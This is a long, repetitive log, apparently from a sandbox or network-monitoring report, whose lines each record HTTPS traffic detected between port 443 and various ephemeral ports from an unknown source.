Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
